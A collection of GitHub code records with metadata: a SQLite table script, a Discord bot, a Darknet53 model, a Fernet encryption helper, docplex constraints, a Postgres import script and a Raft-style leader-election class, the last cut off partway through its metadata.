{"seq_id": "71589650813", "text": "import sqlite3\nconexao = sqlite3.connect(\"bdTrom.sqlite3\")\ncursor = conexao.cursor()\n###################################################\n\n#CRIA O BANCO DE DADOS + A TABELA CLIENTES (Comando CREATE TABLE)\ncomando_sql = \"\"\"CREATE TABLE Clientes (\n    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n    nome TEXT(100),\n    telefone TEXT(15),\n    cpf TEXT(15)\n)\"\"\"\n\ncursor.execute(comando_sql)\n\n###################################################\nconexao.commit()\nconexao.close()", "repo_name": "SherlonAlmeida/projeto_trom_solucoes", "sub_path": "02_Criacao_tabela_clientes.py", "file_name": "02_Criacao_tabela_clientes.py", "file_ext": "py", "file_size_in_byte": 475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 2, "usage_type": "call"}]}
{"seq_id": "6426775200", "text": "import discord \r\nfrom discord.ext import commands,tasks\r\nfrom discord.utils import get \r\nimport logging\r\n\r\n\r\nintents = discord.Intents.default()\r\nintents.message_content = True\r\nintents.voice_states = True\r\nowner_id=224486385992728576\r\nsys = commands.Bot(command_prefix=\">\",owner_id=owner_id,intents=intents)\r\n #logger\r\n\r\nlogger = logging.getLogger(__name__)\r\nlogger.setLevel(logging.DEBUG)\r\n\r\nfh = logging.FileHandler('pt1x12.log','w','utf-8')\r\nfh.setLevel(logging.DEBUG)\r\n\r\nch = logging.StreamHandler()\r\nch.setLevel(logging.DEBUG)\r\n\r\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nfh.setFormatter(formatter)\r\nch.setFormatter(formatter)\r\n\r\nlogger.addHandler(fh)\r\nlogger.addHandler(ch)\r\n\r\n@sys.event\r\nasync def on_ready():\r\n    logger.info('Система PT-1X12 готова.')\r\n\r\n@sys.command()\r\n@commands.is_owner()\r\nasync def load(ctx,extension):\r\n    logger.info('Пользователь %s использует load',ctx.author.id)\r\n    #print(ctx.author.id)\r\n    await sys.load_extension(f'cogs.{extension}')\r\n    await ctx.send(f'Модуль {extension} загружен.')\r\n\r\n\r\n@sys.command()\r\n@commands.is_owner()\r\nasync def unload(ctx,extension):\r\n    logger.info('Пользователь %s использует unload',ctx.author.id)\r\n    await sys.unload_extension(f'cogs.{extension}')\r\n    await ctx.send(f'Модуль {extension} отключен.')\r\n\r\n@sys.command()\r\n@commands.is_owner()\r\nasync def owner(ctx):\r\n    #print(ctx)\r\n    user = get(sys.get_all_members(), id=owner_id)\r\n    #print(dir(user))\r\n    logger.info(f'Owner - {owner_id}')\r\n    #print(f'Owner - {owner_id}')\r\n    await ctx.send(f'Администратор подтвержден - {user.name}')\r\n\r\n@owner.error \r\nasync def owner_error(ctx,error):\r\n       #print(error)\r\n       logger.error('Возникла ошибка %s',error)\r\n       user = get(sys.get_all_members(), id=owner_id)\r\n       await ctx.send(f'Вы не являетесь администратором.Администратор - {user.name}') \r\n\r\n\r\n@sys.event\r\nasync def on_raw_reaction_add(payload):\r\n    logger.info('＃＃ ORRA: обнаружена реакция')\r\n    #print('＃＃ ORRA: обнаружена реакция')\r\n    union = sys.get_guild(1085209458633887885)\r\n    roles = [get(union.roles,id=int('1085998154182299718')),get(union.roles,id=int('1085977925590982656'))]\r\n    if payload.channel_id == 1085209459153973339:\r\n        if any(x in payload.member.roles for x in roles):\r\n            print(\"## ORRA: Пользователь уже имеет роль.\")\r\n        else:\r\n            if payload.member != sys.user:\r\n                if payload.emoji.name == '☑️': await payload.member.add_roles(roles[0])\r\n\r\n\r\nsys.run('')\r\n", "repo_name": "FullmetalNeverCore/pt-1x12", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 2761, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "discord.Intents.default", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 11, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 11, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 23, "usage_type": "call"}, {"api_name": "discord.ext.commands.is_owner", "line_number": 35, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 35, "usage_type": "name"}, {"api_name": "discord.ext.commands.is_owner", "line_number": 44, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 44, "usage_type": "name"}, {"api_name": "discord.utils.get", "line_number": 54, "usage_type": "call"}, {"api_name": "discord.ext.commands.is_owner", "line_number": 51, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 51, "usage_type": "name"}, {"api_name": "discord.utils.get", "line_number": 64, "usage_type": "call"}, {"api_name": "discord.utils.get", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "11326992175", "text": "import torch\n\nfrom torch.nn import (\n    Module,\n    ModuleList,\n    Sequential,\n    Conv2d,\n    BatchNorm2d,\n    LeakyReLU,\n)\n\nfrom config import DEVICE\n\n\nclass ConvLayer(Module):\n    def __init__(\n        self,\n        in_channels,\n        out_channels,\n        kernel_size,\n        stride,\n        leaky_relu=0.1\n    ) -> None:\n        super().__init__()\n\n        padding = \"same\" if stride == 1 else \"valid\"\n\n        self.net = Sequential(\n            Conv2d(\n                in_channels=in_channels,\n                out_channels=out_channels,\n                kernel_size=kernel_size,\n                stride=stride,\n                padding=padding,\n            ),\n            BatchNorm2d(out_channels),\n            LeakyReLU(leaky_relu),\n        )\n\n    def forward(self, x):\n        y = self.net(x)\n\n        return y\n\n\nclass ConvAndResidualLayer(Module):\n    def __init__(\n        self,\n        in_channels,\n        net1_out_channels,\n        net1_kernel_size,\n        net1_stride,\n        net2_out_channels,\n        net2_kernel_size,\n        net2_stride,\n        leaky_relu=0.1,\n    ) -> None:\n        super().__init__()\n\n        self.net1 = ConvLayer(\n            in_channels,\n            net1_out_channels,\n            net1_kernel_size,\n            net1_stride,\n            leaky_relu,\n        )\n\n        self.net2 = ConvLayer(\n            net1_out_channels,\n            net2_out_channels,\n            net2_kernel_size,\n            net2_stride,\n            leaky_relu,\n        )\n\n    def forward(self, x):\n        h = self.net1(x)\n        h = self.net2(h)\n        y = h + x\n\n        return y\n\n\nclass RepeatedConvAndResidualLayer(Module):\n    def __init__(\n        self,\n        in_channels,\n        net1_out_channels,\n        net1_kernel_size,\n        net1_stride,\n        net2_out_channels,\n        net2_kernel_size,\n        net2_stride,\n        repeat,\n        leaky_relu=0.1,\n    ) -> None:\n        super().__init__()\n\n        in_channel_list = (\n            [in_channels] + [net2_out_channels for _ in range(repeat - 1)]\n        )\n\n        self.nets = ModuleList([\n            ConvAndResidualLayer(\n                ch,\n                net1_out_channels,\n                net1_kernel_size,\n                net1_stride,\n                net2_out_channels,\n                net2_kernel_size,\n                net2_stride,\n                leaky_relu,\n            )\n            for ch in in_channel_list\n        ])\n\n    def forward(self, x):\n        h = x\n\n        for net in self.nets:\n            h = net(h)\n        y = h\n\n        return y\n\n\nclass Darknet53Backbone(Module):\n    def __init__(self) -> None:\n        super().__init__()\n\n        self.net1 = ConvLayer(\n            in_channels=3,\n            out_channels=32,\n            kernel_size=[3, 3],\n            stride=1,\n        )\n\n        self.net2 = ConvLayer(\n            in_channels=32,\n            out_channels=64,\n            kernel_size=[3, 3],\n            stride=2,\n        )\n\n        self.net3 = RepeatedConvAndResidualLayer(\n            in_channels=64,\n            net1_out_channels=32,\n            net1_kernel_size=[1, 1],\n            net1_stride=1,\n            net2_out_channels=64,\n            net2_kernel_size=[3, 3],\n            net2_stride=1,\n            repeat=1,\n        )\n\n        self.net4 = ConvLayer(\n            in_channels=64,\n            out_channels=128,\n            kernel_size=[3, 3],\n            stride=2,\n        )\n\n        self.net5 = RepeatedConvAndResidualLayer(\n            in_channels=128,\n            net1_out_channels=64,\n            net1_kernel_size=[1, 1],\n            net1_stride=1,\n            net2_out_channels=128,\n            net2_kernel_size=[3, 3],\n            net2_stride=1,\n            repeat=2,\n        )\n\n        self.net6 = ConvLayer(\n            in_channels=128,\n            out_channels=256,\n            kernel_size=[3, 3],\n            stride=2,\n        )\n\n        self.net7 = RepeatedConvAndResidualLayer(\n            in_channels=256,\n            net1_out_channels=128,\n            net1_kernel_size=[1, 1],\n            net1_stride=1,\n            net2_out_channels=256,\n            net2_kernel_size=[3, 3],\n            net2_stride=1,\n            repeat=8,\n        )\n\n        self.net8 = ConvLayer(\n            in_channels=256,\n            out_channels=512,\n            kernel_size=[3, 3],\n            stride=2,\n        )\n\n        self.net9 = RepeatedConvAndResidualLayer(\n            in_channels=512,\n            net1_out_channels=256,\n            net1_kernel_size=[1, 1],\n            net1_stride=1,\n            net2_out_channels=512,\n            net2_kernel_size=[3, 3],\n            net2_stride=1,\n            repeat=8,\n        )\n\n        self.net10 = ConvLayer(\n            in_channels=512,\n            out_channels=1024,\n            kernel_size=[3, 3],\n            stride=2,\n        )\n\n        self.net11 = RepeatedConvAndResidualLayer(\n            in_channels=1024,\n            net1_out_channels=512,\n            net1_kernel_size=[1, 1],\n            net1_stride=1,\n            net2_out_channels=1024,\n            net2_kernel_size=[3, 3],\n            net2_stride=1,\n            repeat=4,\n        )\n\n    def forward(self, x):\n        '''\n            Args:\n                x:\n                    - the input image whose type is FloatTensor\n                    - [batch_size, height, width, rgb]\n        '''\n        print(\"=========================\")\n        print(x.shape)\n        h = self.normalize(x)\n        print(h.shape)\n\n        h = self.net1(h)\n        print(h.shape)\n        h = self.net2(h)\n        print(h.shape)\n        h = self.net3(h)\n        print(h.shape)\n        h = self.net4(h)\n        print(h.shape)\n        h = self.net5(h)\n        print(h.shape)\n        h = self.net6(h)\n        print(h.shape)\n        h = self.net7(h)\n        print(h.shape)\n        h = self.net8(h)\n        print(h.shape)\n        h = self.net9(h)\n        print(h.shape)\n        h = self.net10(h)\n        print(h.shape)\n        y = self.net11(h)\n        print(y.shape)\n\n        return y\n\n    def normalize(self, x):\n        '''\n            Args:\n                x:\n                    - the input image whose type is FloatTensor\n                    - [batch_size, height, width, rgb]\n        '''\n        x = (\n            (\n                x / 255 -\n                torch.tensor([0.485, 0.456, 0.406]).float().to(DEVICE)\n            ) /\n            torch.tensor([0.229, 0.224, 0.225]).float().to(DEVICE)\n        )\n\n        '''x: [batch_size, rgb, height, width]'''\n        x = x.permute(0, 3, 1, 2)\n\n        return x\n", "repo_name": "hcnoh/object-detection-collection-pytorch", "sub_path": "models/backbones/darknet53.py", "file_name": "darknet53.py", "file_ext": "py", "file_size_in_byte": 6518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 127, "usage_type": "name"}, {"api_name": "config.DEVICE", "line_number": 275, "usage_type": "argument"}, {"api_name": "torch.tensor", "line_number": 275, "usage_type": "call"}, {"api_name": "config.DEVICE", "line_number": 277, "usage_type": "argument"}, {"api_name": "torch.tensor", "line_number": 277, "usage_type": "call"}]}
{"seq_id": "3650410062", "text": "import os\nimport dotenv\nfrom cryptography.fernet import Fernet\n\ndef get_ecryption_key():\n    # Verify if an encription key exists\n    dotenv_file = dotenv.find_dotenv()\n    dotenv.load_dotenv(dotenv_file)\n    existing_key = os.getenv(\"FERNET_KEY\")\n    if (existing_key == None) or (existing_key == \"\"):\n        key = Fernet.generate_key()\n        os.environ[\"FERNET_KEY\"] = key.decode()\n        # Write changes to .env file.\n        dotenv.set_key(dotenv_file, \"FERNET_KEY\", os.environ[\"FERNET_KEY\"])\n        return Fernet(key.encode(\"utf-8\"))\n    else:\n        return Fernet(existing_key.encode(\"utf-8\"))\n\ndef test_encryption():\n    dotenv_file = dotenv.find_dotenv()\n    dotenv.load_dotenv(dotenv_file)\n    str_value = \"123456\"\n    existing_key = os.getenv(\"FERNET_KEY\")\n    cipher = Fernet(existing_key.encode(\"utf-8\"))\n    encrypted_value = cipher.encrypt(str_value.encode(\"utf-8\"))\n    print(\"ENCRIPTED:\", encrypted_value)\n    decrypted_data = cipher.decrypt(encrypted_value)\n    test_1 = \"gAAAAABhGwkvKwtQtPr9Q3wy3Yz7hnAhTXqn2Qq1zMB7xh7i9BOfo0CO07KZo_XLLs7iEmeSpR_T0moQTrOOQtES15KrQtzbOA==\"\n    test_2 = \"gAAAAABhGwmww8HYa66oeDpLN-Xau197qBCAXH_iT1-3OPuJUrF38zJmFAIdh3fMAV9Mjx-U4_K5si9Bu5PHuIowF0OAZu2LYw==\"\n    #decrypted_data = cipher.decrypt(test_2.encode(\"utf-8\"))\n    print(\"DECRIPTED:\", decrypted_data)\n    print(\"DECRIPTED_DECODED:\", decrypted_data.decode(\"utf-8\"))\n    pass\n\nif __name__ == '__main__':\n    test_encryption()", "repo_name": "lfalanga/Stock-Market-API-Service", "sub_path": "src/fernet.py", "file_name": "fernet.py", "file_ext": "py", "file_size_in_byte": 1436, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dotenv.find_dotenv", "line_number": 7, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet.generate_key", "line_number": 11, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 11, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "dotenv.set_key", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 15, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 17, "usage_type": "call"}, {"api_name": "dotenv.find_dotenv", "line_number": 20, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 23, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "27271256951", "text": "import logging\n\nimport streamlit as st\nfrom docplex.mp.model import Model\n\nfrom . import Variables\nfrom ..data import Parameters\n\nlogger = logging.getLogger(\"Constraints\")\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.INFO)\n\n\ndef set_constraints(mdl: Model, variables: Variables, parameters: Parameters):\n    placeholder = st.empty()\n    with st.spinner(\"Setting constraints...\"):\n        set_const1(mdl, variables, parameters)\n        set_const2(mdl, variables, parameters)\n        set_const3(mdl, variables, parameters)\n        set_const4(mdl, variables, parameters)\n        set_const5(mdl, variables, parameters)\n        set_const6(mdl, variables, parameters)\n        set_const7(mdl, variables, parameters)\n        set_const8(mdl, variables, parameters)\n        set_const9(mdl, variables, parameters)\n        placeholder.success(\"Constraints are created.\")\n\n\ndef set_const1(mdl: Model, variables: Variables, parameters: Parameters):\n    for i in parameters.items:\n        for t in parameters.periods:\n            mdl.add_constraint(variables.I_total[i, t - 1] + variables.x[i, t] ==\n                               variables.I_total[i, t] + mdl.sum(variables.z[i, m, t] for m in parameters.stores),\n                               ctname=f\"const1_{i.id}_{t}\")\n\n\ndef set_const2(mdl: Model, variables: Variables, parameters: Parameters):\n    for i in parameters.items:\n        for m in parameters.stores:\n            for t in parameters.periods:\n                mdl.add_constraint(variables.I[i, m, t - 1] + variables.z[i, m, t] ==\n                                   variables.D[i, m, t] + variables.I[i, m, t],\n                                   ctname=f\"const2_{i.id}_{m.id}_{t}\")\n\n\ndef set_const3(mdl: Model, variables: Variables, parameters: Parameters):\n    for i in parameters.items:\n        for m in parameters.stores:\n            for t in parameters.periods:\n                mdl.add_constraint(variables.U[i, m, t] ==\n                                   variables.I[i, m, t - 1] + variables.z[i, m, t],\n                                   ctname=f\"const3_{i.id}_{m.id}_{t}\")\n\n\ndef set_const4(mdl: Model, variables: Variables, parameters: Parameters):\n    for i in parameters.items:\n        for m in parameters.stores:\n            for t in parameters.periods:\n                d = m.d[i]\n                u = m.u[i]\n\n                lambdas = mdl.continuous_var_list(keys=len(u), lb=0, name=f\"lambda_{i.id}_{m.id}_{t}\")\n\n                y = mdl.binary_var_list(keys=len(u) - 1, name=f\"y_{i.id}_{m.id}_{t}\")\n\n                mdl.add_constraint(variables.D[i, m, t] ==\n                                   mdl.sum(lambdas[j] * d[j] for j in range(len(lambdas))),\n                                   ctname=f\"const4D_{i.id}_{m.id}_{t}\")\n                mdl.add_constraint(variables.U[i, m, t] ==\n                                   mdl.sum(lambdas[j] * u[j] for j in range(len(lambdas))),\n                                   ctname=f\"const4U_{i.id}_{m.id}_{t}\")\n\n                mdl.add_constraint(mdl.sum(lambdas) == 1,\n                                   ctname=f\"const4sumLambda_{i.id}_{m.id}_{t}\")\n\n                mdl.add_constraint(mdl.sum(y) == 1,\n                                   ctname=f\"const4sumY_{i.id}_{m.id}_{t}\")\n\n                for j in range(len(lambdas) - 1):\n                    mdl.add_constraint(y[j] <= lambdas[j] + lambdas[j + 1],\n                                       ctname=f\"const4range_{i.id}_{m.id}_{t}_{j}\")\n\n                mdl.add_constraint(variables.D[i, m, t] <= d[-1], ctname=f\"D_{i.id}_{m.id}_{t}_max_value\")\n\n\ndef set_const5(mdl: Model, variables: Variables, parameters: Parameters):\n    for t in parameters.periods:\n        mdl.add_constraint(mdl.sum(variables.x[i, t] for i in parameters.items) <=\n                           parameters.production_capacity[t],\n                           ctname=f\"const5_{t}\")\n\n\ndef set_const6(mdl: Model, variables: Variables, parameters: Parameters):\n    for m in parameters.stores:\n        for t in parameters.periods:\n            mdl.add_constraint(mdl.sum(variables.U[i, m, t] for i in parameters.items) <=\n                               m.store_capacity,\n                               ctname=f\"const6_{m.id}_{t}\")\n\n\ndef set_const7(mdl: Model, variables: Variables, parameters: Parameters):\n    for m in parameters.stores:\n        for t in parameters.periods:\n            mdl.add_constraint(variables.Z[m, t] ==\n                               mdl.sum(variables.z[i, m, t] for i in parameters.items),\n                               ctname=f\"const7_{m.id}_{t}\")\n\n\ndef set_const8(mdl: Model, variables: Variables, parameters: Parameters):\n    for t in parameters.periods:\n        mdl.add_constraint(mdl.sum(variables.Z[m, t] for m in parameters.stores) <=\n                           parameters.renewal_limit[t],\n                           ctname=f\"const8_{t}\")\n\n\ndef set_const9(mdl: Model, variables: Variables, parameters: Parameters):\n    for i in parameters.items:\n        for t in parameters.periods:\n            mdl.add_constraint(variables.x[i, t] <= variables.x_binary[i, t] * parameters.production_capacity[t],\n                               ctname=\"x_binary_link_{i.id}_{t}\")\n", "repo_name": "OEKundakcioglu/ELSIDD", "sub_path": "src/model/constraints.py", "file_name": "constraints.py", "file_ext": "py", "file_size_in_byte": 5177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "docplex.mp.model.Model", "line_number": 14, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 14, "usage_type": "name"}, {"api_name": "streamlit.empty", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.spinner", "line_number": 16, "usage_type": "call"}, {"api_name": "docplex.mp.model.Model", "line_number": 29, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 29, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 37, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 37, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 46, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 46, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 55, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 55, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 86, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 86, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 93, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 93, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 101, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 101, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 109, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 109, "usage_type": "name"}, {"api_name": "docplex.mp.model.Model", "line_number": 116, "usage_type": "name"}, {"api_name": "data.Parameters", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "20763288955", "text": "\nfrom auth import *\nimport csv\n\nimport psycopg2, psycopg2.extensions, psycopg2.extras\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODE) # se znebimo problemov s šumniki\n\n\n\nconn = psycopg2.connect(database=db, host=host, user=user, password=password)\ncur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor) \n\n\ndef ustvari_tabele():\n    with open('gama.sql') as f:\n        koda = f.read()\n    cur.execute(koda)\n    conn.commit()\n    print(\"Uspesno ustvaril tabele!\")\n\nustvari_tabele()\n\n\ndef uvoziCSV(tabela):\n    with open('podatki/{0}'.format(tabela)) as csvfile:\n        podatki = csv.reader(csvfile)\n        next(podatki)\n        for r in podatki:\n            r = [None if x in ('', '-') else x for x in r]\n            if \"borza.csv\" in tabela:\n                cur.execute(\"\"\"\n                    INSERT INTO borza\n                    (id_borze, ime, vrsta, lokacija, povezava)\n                    VALUES (%s, %s, %s, %s, %s)\n                \"\"\", r)\n            elif \"crypto.csv\" in tabela:\n                cur.execute(\"\"\"\n                    INSERT INTO devizni_tecaj\n                    (osnovna_valuta, kotirajoca_valuta, valutno_razmerje, datum_razmerja)\n                    VALUES (%s, %s, %s, %s)\n                \"\"\", r)\n        conn.commit()\n        print(\"Uspesno uvozil csv datoteko!\")\n\ndef uvozSQL(tabela):\n    with open('podatki/{0}'.format(tabela)) as sqlfile:\n        koda = sqlfile.read()\n        cur.execute(koda)\n    conn.commit()\n    print(\"Uspesno nalozil podatke!\")\n\nuvozSQL(\"valute/valute.sql\")\nuvoziCSV(\"borze/borza.csv\")\nuvoziCSV(\"crypto/crypto.csv\")\n\n\n\n", "repo_name": "MatejRojec/Gamma", "sub_path": "uvoz_podatkov.py", "file_name": "uvoz_podatkov.py", "file_ext": "py", "file_size_in_byte": 1596, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "psycopg2.extensions.register_type", "line_number": 6, "usage_type": "call"}, {"api_name": "psycopg2.extensions", "line_number": 6, "usage_type": "attribute"}, {"api_name": "psycopg2.connect", "line_number": 10, "usage_type": "call"}, {"api_name": "psycopg2.extras", "line_number": 11, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "41729996319", "text": "# --------------------------------- Computer --------------------------------- #\n# ------------------------------------- - ------------------------------------ #\n# @author: Sebati Ilias \n# @author: Gomez  Herrera  Maria  Andrea  Liliana\n# ------------------------------------- - ------------------------------------ #\n# Description: This file contains the class Computer which contains a \n#  flightcomputer. The class Computer is responsible for the consensur, leader\n#  election, etc.\n# ------------------------------------- - ------------------------------------ #\n# ------------------------------------- - ------------------------------------ #\n\nfrom math import floor\nimport random as rand\nfrom enum import Enum\nimport requests\nimport signal\nimport threading\n\n\nMINIMAL_TIMEOUT = 0.0001  # used to not wait the response of the server\n\n\nURL_IP = \"http://127.0.0.1:\"\nSTARTING_URL = 4999  # More the starting port\nTIMEOUT_VALUE = 300/1000   # ms\n\n# Lock for not beginning a new election while i got a message\nlock = threading.Lock()\n\n\ndef URL(fc):\n    return URL_IP + str(STARTING_URL + fc) + \"/\"\n\n\nclass State(Enum):\n    leader = 2\n    candidate = 1\n    follower = 0\n\n\n# Computer = Node\nclass Computer:\n    def __init__(self, flighComputer, myComputerNumber):\n        self.flighComputer = flighComputer\n        self.myComputerNumber = myComputerNumber    # can see it as IP address\n        # state can be follower, candidate, or leader\n        self.state = State.follower\n        # similar to the period in raft\n        self.term = 0\n        # used for the leader election\n        # number of computers that voted for me\n        self.votes_for_me = 0\n        self.votes_against_me = 0\n\n        self.trusted_leader = None\n\n        # used to exponentially increase the range of the random timeout\n        self.number_failed_election = 0\n        # lost_current_election -> nobody won it\n        self.lost_current_election = False\n        # set timeout leader\n        self.set_timeout_leader()\n\n    def begin_new_election(self):\n\n        with lock:\n            # nobody won the current election r\n            if self.lost_current_election:\n                self.number_failed_election += 1\n            else:\n                self.number_failed_election = 0\n            self.lost_current_election = False\n\n            # become a candidate and try to be leader\n            self.state = State.candidate\n\n            self.term += 1\n\n            # init the vote counter\n            self.votes_against_me = 0\n            self.votes_for_me = 1\n            # Vote for myself\n            # self.receive_vote()\n\n            # Timeout to send the acks and everything\n            self.set_timeout_leader()\n\n            # ask cluster' s votes\n            self.broadcast_vote_request()\n\n    # We received a vote for us\n    def receive_vote(self):\n        self.votes_for_me += 1\n\n        # I have a strict majority\n        if self.votes_for_me >= floor((len(self.flighComputer.peers) + 1) / 2) + 1:\n            self.i_won_election()\n\n        # reset the timeout\n        self.set_timeout_leader()\n\n    # A server gave the vote to someone else\n    def refuse_vote(self, term):\n        self.votes_against_me += 1\n\n        # Update my term if i was late\n        if term > self.term:\n            self.term == term\n\n        # I lose the election\n        if self.votes_against_me >= floor((len(self.flighComputer.peers) + 1) / 2) + 1:\n            self.state = State.follower\n            self.lost_current_election = True\n\n\n        # reset the timeout\n        self.set_timeout_leader()\n\n    def set_timeout_leader(self):\n        # First find the duration randomly of the timeout\n        start_range = 100 # ms \n        end_range = 200 # ms \n        # bound at 3 to not have a timeout >= 1.6 ms\n        if self.number_failed_election > 3:\n            end_range = end_range **3\n        elif self.number_failed_election > 1:\n            end_range = end_range **self.number_failed_election\n        \n            \n        duration = rand.randint(start_range, end_range)  # in ms\n\n        Computer.set_timer(duration)\n\n    # set a timer in the duration. The duration is in ms\n    @staticmethod\n    def set_timer(duration):\n        signal.setitimer(signal.ITIMER_REAL, duration/1000, 0)\n\n    @staticmethod\n    def set_timeout_heartbeat():\n        signal.setitimer(signal.ITIMER_REAL, 50/1000, 0)\n\n    # self won the elections\n    def i_won_election(self):\n\n        self.state = State.leader\n        self.start_sending_ack()\n        self.start_sending_heartbeat()\n\n        self.trusted_leader = self.myComputerNumber\n\n        # stop the timeout\n        self.stop_timeout()\n\n    def broadcast_vote_request(self):\n        for fc in self.flighComputer.peers:\n            # ask them their vote\n            self.query_vote_request(fc)\n\n    def query_vote_request(self, fc):\n        # send a request for vote to a given computer\n        try:\n            requests.get(url=URL(fc) + str(fc) + \"/vote_request\",\n                         params={\"term\": str(self.term),\n                                 \"fc\": str(\n                             self.myComputerNumber)},\n                         timeout=MINIMAL_TIMEOUT)\n        except Exception:\n            pass\n\n    # I am the leader\n    def start_sending_ack(self):\n        for fc in self.flighComputer.peers:\n            try:\n                self.requests.get(url=URL(fc) + str(fc) + \"/new_leader\",\n                                  params={\"term\": str(self.term),\n                                          \"fc\": str(self.myComputerNumber)},\n                                  timeout=MINIMAL_TIMEOUT)\n            except Exception:\n                pass\n\n    def new_leader(self, term, fc):\n        # lost_current_election -> nobody won it\n        self.lost_current_election = False\n        self.state = State.follower\n        self.trusted_leader = fc\n        self.term = term\n        self.set_timeout_leader()\n\n    def start_sending_heartbeat(self):\n        print(\"I am leader\")\n        for fc in self.flighComputer.peers:\n            try:\n                requests.get(url=URL(fc) + str(fc) + \"/heartbeat\",\n                             params={\"term\": str(self.term),\n                                     \"fc\": str(self.myComputerNumber)},\n                             timeout=MINIMAL_TIMEOUT)\n            except Exception:\n                pass\n\n        Computer.set_timeout_heartbeat()\n\n    def received_heartbeat(self, term, fc):\n\n        self.trusted_leader = fc\n        self.term = term\n\n        self.set_timeout_leader()\n\n    def stop_timeout(self):\n        Computer.set_timer(0)\n\n    def send_vote(self, fc):\n        try:\n            requests.get(url=URL(fc) + str(fc) + \"/vote\",\n                         timeout=MINIMAL_TIMEOUT)\n        except Exception:\n            pass\n\n        self.trusted_leader = fc\n\n    def send_not_vote(self, fc):\n        try:\n            requests.get(url=URL(fc) + str(fc) + \"/not_vote\",\n                         params={\"term\": str(self.term)},\n                         timeout=MINIMAL_TIMEOUT)\n        except Exception:\n            pass\n", "repo_name": "ISEBATIS/Large-Scale-Data-System", "sub_path": "code/starter-code/api/Computer.py", "file_name": "Computer.py", "file_ext": "py", "file_size_in_byte": 7076, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "threading.Lock", "line_number": 28, "usage_type": 